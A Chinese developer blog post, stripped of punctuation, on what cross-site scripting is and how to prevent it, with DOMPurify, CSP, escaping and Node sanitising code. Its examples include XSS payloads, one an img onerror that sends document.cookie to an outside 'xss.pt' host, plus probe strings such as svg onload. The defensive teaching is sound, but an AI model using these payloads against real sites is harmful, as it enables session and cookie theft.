企业官网建设流程全解析

网站中的宣传册翻页动画怎么做,商汇通网站,广告营销策略有哪些,网站建设企业宣传册别瞎搞#xff01;XSS不是用来干坏事的#xff0c;但你得懂它怎么防别瞎搞#xff01;XSS不是用来干坏事的#xff0c;但你得懂它怎么防听说你想“注入链接”#xff1f;先醒醒#xff01;XSS到底是个啥玩意儿三种经典姿势#xff08;别想歪#xff09;反射型#xff…别瞎搞XSS不是用来干坏事的但你得懂它怎么防别瞎搞XSS不是用来干坏事的但你得懂它怎么防听说你想“注入链接”先醒醒XSS到底是个啥玩意儿三种经典姿势别想歪反射型URL 里藏雷一点就炸存储型评论区埋地雷DOM 型纯前端也能翻车为啥XSS这么让人头疼真实项目里XSS是怎么冒出来的遇到XSS怎么排查老司机三板斧防XSS实战技巧亲测有效不忽悠1. 永远不要相信任何输入2. 能用 textContent 就别碰 innerHTML3. 富文本白名单过滤DOMPurify 一把梭4. CSP浏览器帮你站岗5. 前端路由 vigilante6. 本地数据也要验完整代码示例一个“带刺”的搜索页如何安全落地再来一个React 项目里的“安全”与“不安全”彩蛋用 Node 给富文本后端也加闸你以为学完就能“搞事情”大实话结尾别瞎搞XSS不是用来干坏事的但你得懂它怎么防友情提示本文全程碎碎念代码比字多看完还不会防XSS你来深圳请我喝奶茶我当面给你调试到哭。听说你想“注入链接”先醒醒周五晚上十一点我正窝在工位改 bug产品突然我“哥用户反馈点了个搜索链接账号里的券全没了是不是你们前端又瞎拼接 URL 了”我心里“咯噔”一下赶紧打开监控Console 里一条红得发紫的报错Uncaught SyntaxError: Unexpected token 再瞄一眼 URL——好家伙搜索词里塞了段script src//xss.pt/laoge.js/script浏览器还贴心地帮我执行了。那一刻我深刻体会到什么叫“社会性死亡”。XSS到底是个啥玩意儿说人话Cross-Site Scripting跨站脚本攻击就是坏人把你网页当画板在上面乱涂乱“脚本”。涂完了用户一访问浏览器傻乎乎地执行Cookie、token、甚至银行卡余额统统打包送黑客。别问为啥不叫 CSS问就是被层叠样式表先抢注了。三种经典姿势别想歪反射型URL 里藏雷一点就炸用户点开https://kao.la/search?kwscriptalert(document.cookie)/script后端把 kw 原样吐回前端前端直接innerHTML kw浏览器一看哟脚本走你全程不落地像快递小哥“即拿即送”所以叫“反射”。存储型评论区埋地雷用户 A 发条留言“楼主好人一生平安img srcx οnerrοrfetch(‘//xss.pt/steal?c’document.cookie)”后端存进数据库前端拉回来展示所有围观群众一打开帖子Cookie 被悄咪咪顺走。地雷一直躺在那谁踩谁炸持久又酸爽。DOM 型纯前端也能翻车不写后端也能中招典范就是“路由劫持”。https://kao.la/#/img srcx onerroralert(1)前端路由用location.hash拼页面标题title.innerHTML 搜索结果 decodeURIComponent(location.hash.slice(1))得又一颗雷。别笑我当年真这么写过还被挂在公司耻辱柱上。为啥XSS这么让人头疼它不黑服务器只黑用户可用户一沦陷服务器照样背锅。想象一下大促零点用户 A 被 XSS 偷了登录态黑客拿 token 去下单 100 台 iPhone第二天客服电话被打爆老板一句“谁写的代码谁赔”工资瞬间变负数。浏览器再智能也架不住开发亲手给黑客递刀。真实项目里XSS是怎么冒出来的富文本编辑器“裸奔”后台配置了个“支持 HTML”运营小姐姐开开心心贴了一段从 Word 拷来的表格里面暗藏script前端为了“所见即所得”直接v-html渲染全站用户一起蹦迪。动态拼接 HTML 图省事列表页要标红关键词后端返回纯文本前端item.innerHTML${userInput}.replace(/关键词/g,em关键词/em)用户输入一坨img srcx onerroralert(1)关键词得又炸。URL 参数塞 innerHTML活动页要展示“来自微信的某某”前端document.getElementById(from).innerHTMLgetQuery(name)黑客把 name 换成script src//xss.pt/laoge.js活动页秒变钓鱼站。遇到XSS怎么排查老司机三板斧打开 DevToolsConsole 先看红字报错行号怼脸顺着堆栈找innerHTML、document.write、eval这些高危 API。手动插 payload 测试输入框、搜索栏、URL 参数、hash、localStorage挨个试img srcx onerrorconfirm(1) svg onloadalert(1) javascript:alert(1)哪个弹窗哪里裸奔。全局搜“”号对就是暴力搜innerHTML、html(、dangerouslySetInnerHTML凡是不带转义/过滤的全部拉出来枪毙五分钟。防XSS实战技巧亲测有效不忽悠1. 永远不要相信任何输入产品、运营、甚至你自己昨天的代码都可能埋雷。把“所有外来内容都当屎”写在工位贴上每天默念三遍。2. 能用 textContent 就别碰 innerHTML// ❌ 作死写法div.innerHTMLuserNick// ✅ 老实人写法div.textContentuserNick实在要渲染 HTML先“消毒”——3. 富文本白名单过滤DOMPurify 一把梭scriptsrchttps://cdn.jsdelivr.net/npm/dompurify3/dist/purify.min.js/scriptscript// 允许的标签属性白名单constcleanDOMPurify.sanitize(dirtyHTML,{ALLOWED_TAGS:[p,br,strong,em,a,img],ALLOWED_ATTR:[href,src,alt],ALLOW_DATA_ATTR:false})document.getElementById(post).innerHTMLclean/script别自己写正则你把握不住真的。4. CSP浏览器帮你站岗HTTP 响应头加一行Content-Security-Policy: default-src self; script-src self https://static.kuaishou.com; object-src none即使黑客塞了script浏览器直接拦截妈妈再也不用担心我加班到秃头。5. 前端路由 vigilante// 路由守卫里做一层转义functionescapeHtml(str){returnstr.replace(//g,amp;).replace(//g,lt;).replace(//g,gt;).replace(//g,quot;).replace(//g,#39;)}// 使用constkeywordescapeHtml(decodeURIComponent(location.hash.slice(1)))document.title搜索结果${keyword}别嫌土能救命。6. 本地数据也要验localStorage、sessionStorage、cookie 里拿出来的东西指不定哪天被插件/代理篡改用 JSON Schema 过一遍再丢进页面。完整代码示例一个“带刺”的搜索页如何安全落地需求用户输入关键词高亮展示还要保留换行。危险点关键词能塞脚本换行要变br得渲染 HTML。!DOCTYPEhtmlhtmllangzh-CNheadmetacharsetutf-8/!-- 1. CSP 站岗 --metahttp-equivContent-Security-Policycontentdefault-srcself; script-srcselfhttps://cdn.jsdelivr.net; style-srcselfunsafe-inline;/title安全搜索示例/titlestyle.highlight{background:#ff0}#result{white-space:pre-line;border:1px solid #ccc;padding:10px}/style/headbodyinputidkwplaceholder输入关键词按回车搜索/buttononclicksearch()Search/buttondividresult/div!-- 2. 引入 DOMPurify --scriptsrchttps://cdn.jsdelivr.net/npm/dompurify3/dist/purify.min.js/scriptscript// 3. 转义函数functionescapeHtml(str){constmap{:amp;,:lt;,:gt;,:quot;,:#39;}returnstr.replace(/[]/g,mmap[m])}// 4. 搜索逻辑functionsearch(){constrawdocument.getElementById(kw).valueif(!raw)return// 先转义再处理换行再高亮letsafeescapeHtml(raw)// Step1 转义safesafe.replace(/\n/g,br)// Step2 换行// 高亮关键词此时已是纯文本可放心 replaceconstregexnewRegExp((${raw.replace(/[.*?^${}()|[\]\\]/g,\\$)}),gi)consthighlightedsafe.replace(regex,span classhighlight$1/span)// Step3 过 DOMPurify 二次消毒防自己手抖constfinalDOMPurify.sanitize(highlighted,{ALLOWED_TAGS:[span,br],ALLOWED_ATTR:[class]})document.getElementById(result).innerHTMLfinal}// 5. URL 参数回显同样走一遍constparamsnewURLSearchParams(location.search)constqparams.get(q)if(q){document.getElementById(kw).valueqsearch()}/script/body/html上面的流程输入 → 转义 → 业务替换 → 白名单消毒 → 渲染。四层盔甲黑客拿头都撞不开。再来一个React 项目里的“安全”与“不安全”// ❌ 作死现场 function Vulnerable({ userUrl }) { // 把用户提供的 url 直接插背景 return div style{{ backgroundImage: url(${userUrl}) }} / } // 黑客传); background-image:url(javascript:alert(1) // React 会报警告但仍可能执行别赌 // ✅ 正确姿势 import DOMPurify from dompurify function Safe({ userUrl }) { // 先过白名单 const clean DOMPurify.sanitize(userUrl, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] }) // 再加一层 URL 校验 const isValid /^https?:\/\/i\.xiaohongshu\.com\//.test(clean) if (!isValid) return null return div style{{ backgroundImage: url(${clean}) }} / }记住React 的dangerouslySetInnerHTML名字都告诉你“危险”了别头铁。彩蛋用 Node 给富文本后端也加闸constexpressrequire(express)constDOMPurifyrequire(isomorphic-dompurify)constappexpress()app.use(express.json())app.post(/api/comment,(req,res){const{content}req.body// 后端再消毒一次防止有人绕过前端直接调接口constcleanDOMPurify.sanitize(content,{ALLOWED_TAGS:[p,br,a,strong,em],ALLOWED_ATTR:[href]})saveToDB(clean)res.json({ok:1})})前后端双杀黑客只能去楼下沙县小吃冷静一下。你以为学完就能“搞事情”省省吧兄弟。真正值钱的能力是“让黑客无洞可钻”不是“钻别人洞”。国内 SRC 平台阿里、腾讯、字节都有大把合法靶场去那练手提交漏洞还能拿奖金不比偷偷摸摸进局子喝茶香大实话结尾你写的每一行没转义的代码都是给黑客的邀请函你偷的每一个懒都可能变成明天凌晨三点的 P0 故障。把“安全第一”刻进骨子里再谈优雅、谈性能、谈 KPI。毕竟——“代码能跑”只是及格线“代码能扛黑客”才配叫技术人。全文完我要去给三年前的自己擦屁股了告辞。欢迎来到我的博客很高兴能够在这里和您见面希望您在这里可以感受到一份轻松愉快的氛围不仅可以获得有趣的内容和知识也可以畅所欲言、分享您的想法和见解。推荐DTcode7的博客首页。一个做过前端开发的产品经理经历过睿智产品的折磨导致脱发之后励志要翻身农奴把歌唱一边打入敌人内部一边持续提升自己为我们广大开发同胞谋福祉坚决抵制睿智产品折磨我们码农兄弟专栏系列点击解锁学习路线(点击解锁知识定位《微信小程序相关博客》持续更新中~结合微信官方原生框架、uniapp等小程序框架记录请求、封装、tabbar、UI组件的学习记录和使用技巧等《AIGC相关博客》持续更新中~AIGC、AI生产力工具的介绍例如stable diffusion这种的AI绘画工具安装、使用、技巧等总结《HTML网站开发相关》《前端基础入门三大核心之html相关博客》前端基础入门三大核心之html板块的内容入坑前端或者辅助学习的必看知识《前端基础入门三大核心之JS相关博客》前端JS是JavaScript语言在网页开发中的应用负责实现交互效果和动态内容。它与HTML和CSS并称前端三剑客共同构建用户界面。通过操作DOM元素、响应事件、发起网络请求等JS使页面能够响应用户行为实现数据动态展示和页面流畅跳转是现代Web开发的核心《前端基础入门三大核心之CSS相关博客》介绍前端开发中遇到的CSS疑问和各种奇妙的CSS语法同时收集精美的CSS效果代码用来丰富你的web网页《canvas绘图相关博客》Canvas是HTML5中用于绘制图形的元素通过JavaScript及其提供的绘图API开发者可以在网页上绘制出各种复杂的图形、动画和图像效果。Canvas提供了高度的灵活性和控制力使得前端绘图技术更加丰富和多样化《Vue实战相关博客》持续更新中~详细总结了常用UI库elementUI的使用技巧以及Vue的学习之旅《python相关博客》持续更新中~Python简洁易学的编程语言强大到足以应对各种应用场景是编程新手的理想选择也是专业人士的得力工具《sql数据库相关博客》持续更新中~SQL数据库高效管理数据的利器学会SQL轻松驾驭结构化数据解锁数据分析与挖掘的无限可能《算法系列相关博客》持续更新中~算法与数据结构学习总结通过JS来编写处理复杂有趣的算法问题提升你的技术思维《IT信息技术相关博客》持续更新中~作为信息化人员所需要掌握的底层技术涉及软件开发、网络建设、系统维护等领域的知识《信息化人员基础技能知识相关博客》无论你是开发、产品、实施、经理只要是从事信息化相关行业的人员都应该掌握这些信息化的基础知识可以不精通但是一定要了解避免日常工作中贻笑大方《信息化技能面试宝典相关博客》涉及信息化相关工作基础知识和面试技巧提升自我能力与面试通过率扩展知识面《前端开发习惯与小技巧相关博客》持续更新中~罗列常用的开发工具使用技巧,如 Vscode快捷键操作、Git、CMD、游览器控制台等《photoshop相关博客》持续更新中~基础的PS学习记录含括PPI与DPI、物理像素dp、逻辑像素dip、矢量图和位图以及帧动画等的学习总结日常开发办公生产【实用工具】分享相关博客》持续更新中~分享介绍各种开发中、工作中、个人生产以及学习上的工具丰富阅历给大家提供处理事情的更多角度学习了解更多的便利工具如Fiddler抓包、办公快捷键、虚拟机VMware等工具吾辈才疏学浅摹写之作恐有瑕疵。望诸君海涵赐教。望轻喷嘤嘤嘤非常期待和您一起在这个小小的网络世界里共同探索、学习和成长。愿斯文对汝有所裨益纵其简陋未及渊博亦足以略尽绵薄之力。倘若尚存阙漏敬请不吝斧正俾便精进